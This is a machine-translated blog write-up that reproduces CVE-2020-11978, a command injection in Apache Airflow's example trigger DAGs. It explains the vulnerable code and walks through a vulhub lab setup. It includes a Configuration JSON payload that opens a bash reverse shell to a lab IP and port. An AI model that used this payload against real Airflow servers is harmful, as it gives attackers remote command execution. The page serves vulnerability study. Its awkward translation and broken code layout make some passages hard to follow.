当前位置:网站首页>Vulnerability recurrence - 48. Command injection in airflow DAG (cve-2020-11978)
Vulnerability recurrence - 48. Command injection in airflow DAG (cve-2020-11978)
2022-07-05 17:34:00 【Seven days】
List of articles
One 、Apache Airflow brief introduction
Apache Airflow yes python A program written in 、 A platform for scheduling and monitoring workflows .Airflow adopt DAG(Directed acyclic graph Directed acyclic graph ) Task scheduling tool to manage task flow .Airflow Except for a command line interface , It also provides a Web The user interface can visualize pipeline dependencies 、 Monitoring progress 、 Trigger tasks, etc .
Two 、 Causes of loopholes
Apache Airflow<=1.10.10
stay Airflow An example attached DAG= example_trigger_target_dag
Allow any authenticated user to run Airflow Working procedure / Run arbitrary commands as the user of the scheduler .
By default Airflow Web UI Unauthorized access
,Airflow Web UI Triggers are provided in DAG Running functions , To test DAG, And one of example_trigger_controller_dag
and example_trigger_target_dag
Two DAG Combine to trigger command injection , Lead to loopholes .
If you set load_examples=False
Samples disabled , Will not be attacked .
example_trigger_controller_dag and example_trigger_target_dag analysis
1、example_trigger_controller_dag
#airflow/example_dags/example_trigger_controller_dag.py
from airflow import DAG
from airflow.operators.dagrun_operator import TriggerDagRunOperator
from airflow.utils.dates import days_ago
dag = DAG(
dag_id="example_trigger_controller_dag",
default_args={
"owner": "airflow", "start_date": days_ago(2)},
schedule_interval="@once",
tags=['example']
)
trigger = TriggerDagRunOperator(
task_id="test_trigger_dagrun",
trigger_dag_id="example_trigger_target_dag", # Ensure this equals the dag_id of the DAG to trigger
conf={
"message": "Hello World"},
dag=dag,
)
2、example_trigger_target_dag
#airflow/example_dags/example_trigger_target_dag.py
from airflow import DAG
from airflow.operators.bash import BashOperator
from airflow.operators.python import PythonOperator
from airflow.utils.dates import days_ago
dag = DAG(
dag_id="example_trigger_target_dag",
default_args={
"start_date": days_ago(2), "owner": "airflow"},
schedule_interval=None,
tags=['example']
)
def run_this_func(**context):
""" Print the payload "message" passed to the DagRun conf attribute. :param context: The execution context :type context: dict """
print("Remotely received value of {} for key=message".format(context["dag_run"].conf["message"]))
run_this = PythonOperator(task_id="run_this", python_callable=run_this_func, dag=dag)
bash_task = BashOperator(
task_id="bash_task",
bash_command='echo "Here is the message: \'{
{ dag_run.conf["message"] if dag_run else "" }}\'"',
dag=dag,
)
""" Example usage of the TriggerDagRunOperator. This example holds 2 DAGs: 1. 1st DAG (example_trigger_controller_dag) holds a TriggerDagRunOperator, which will trigger the 2nd DAG 2. 2nd DAG (example_trigger_target_dag) which will be triggered by the TriggerDagRunOperator in the 1st DAG """
import pendulum
from airflow import DAG
from airflow.decorators import task
from airflow.operators.bash import BashOperator
@task(task_id="run_this")
def run_this_func(dag_run=None):
""" Print the payload "message" passed to the DagRun conf attribute. :param dag_run: The DagRun object """
print(f"Remotely received value of {
dag_run.conf.get('message')} for key=message")
with DAG(
dag_id="example_trigger_target_dag",
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
catchup=False,
schedule_interval=None,
tags=['example'],
) as dag:
run_this = run_this_func()
bash_task = BashOperator(
task_id="bash_task",
bash_command='echo "Here is the message: $message"',
env={
'message': '{
{ dag_run.conf.get("message") }}'},
)
adopt example_trigger_controller_dag
Internally defined conf={"message": "Hello World"}
To trigger example_trigger_target_dag
Medium bash_command='echo "Here is the message"'
. If here dag_run.conf.get("message")
controllable , You can inject malicious commands .
stay Airflow in ,conf
Used to define how parameters are passed , and Airflow There are many ways to modify conf
:
1、 Command line mode
airflow dags trigger --conf '{"conf1": "value1"}' example_parametrized_dag
2、Web UI Directly trigger any DAG And transmission dag_run.conf
3、 ... and 、 Loophole recurrence
The following loopholes recur adopt Web UI Trigger DAG Pass on dag_run.conf("message")
Execute arbitrary orders :
Use vulhub
shooting range CVE-2020-11978
# start-up airflow
docker-compose run airflow-init
docker-compose up -d
visit IP:8080 Get into airflow The management end
Turn onexample_trigger_target_dag
Click on example_trigger_target_dag
, Enter the page , Click on Trigger DAG
, Go to the debug page .
stay Configuration JSON
Enter the command to be executed :
{
"message":"'\";bash -i >& /dev/tcp/10.211.55.3/6666 0>&1;#"}
The listening end performs listening
Reference link :
https://github.com/apache/airflow/blob/main/airflow/example_dags/example_trigger_target_dag.py
https://vulhub.org/#/environments/airflow/CVE-2020-11978/
边栏推荐
- Cartoon: interesting pirate problem (full version)
- 漫画:如何实现大整数相乘?(整合版)
- Debug kernel code through proc interface
- 深入理解Redis内存淘汰策略
- Q2 encryption market investment and financing report in 2022: gamefi becomes an investment keyword
- Cartoon: how to multiply large integers? (I) revised version
- Force deduction solution summary 1200 minimum absolute difference
- 域名解析,反向域名解析nbtstat
- 服务器配置 jupyter环境
- 力扣解法汇总729-我的日程安排表 I
猜你喜欢
Rider set the highlighted side of the selected word, remove the warning and suggest highlighting
Machine learning 02: model evaluation
Mongodb (quick start) (I)
机器学习02:模型评估
提高应用程序性能的7个DevOps实践
MySql 查询符合条件的最新数据行
Knowledge points of MySQL (7)
Use of ThinkPHP template
激动人心!2022开放原子全球开源峰会报名火热开启!
IDC报告:腾讯云数据库稳居关系型数据库市场TOP 2!
随机推荐
【7.7直播预告】《SaaS云原生应用典型架构》大咖讲师教你轻松构建云原生SaaS化应用,难题一一击破,更有华为周边好礼等你领!
编译libssh2报错找不到openssl
VBA驱动SAP GUI实现办公自动化(二):判断元素是否存在
普通程序员看代码,顶级程序员看趋势
thinkphp模板的使用
一个满分的项目文档是如何书写的|得物技术
Cartoon: a bloody case caused by a math problem
IDEA 项目启动报错 Shorten the command line via JAR manifest or via a classpath file and rerun.
Cartoon: interesting pirate problem (full version)
力扣解法汇总729-我的日程安排表 I
漫画:寻找股票买入卖出的最佳时机
Cartoon: looking for the best time to buy and sell stocks
What are the precautions for MySQL group by
北京内推 | 微软亚洲研究院机器学习组招聘NLP/语音合成等方向全职研究员
解决“双击pdf文件,弹出”请安装evernote程序
Is it safe for China Galaxy Securities to open an account? How long can I buy stocks after opening an account
Knowledge points of MySQL (7)
得知女儿被猥亵,35岁男子将对方打至轻伤二级,法院作出不起诉决定
2022 年 Q2 加密市场投融资报告:GameFi 成为投资关键词
解读:如何应对物联网目前面临的安全问题?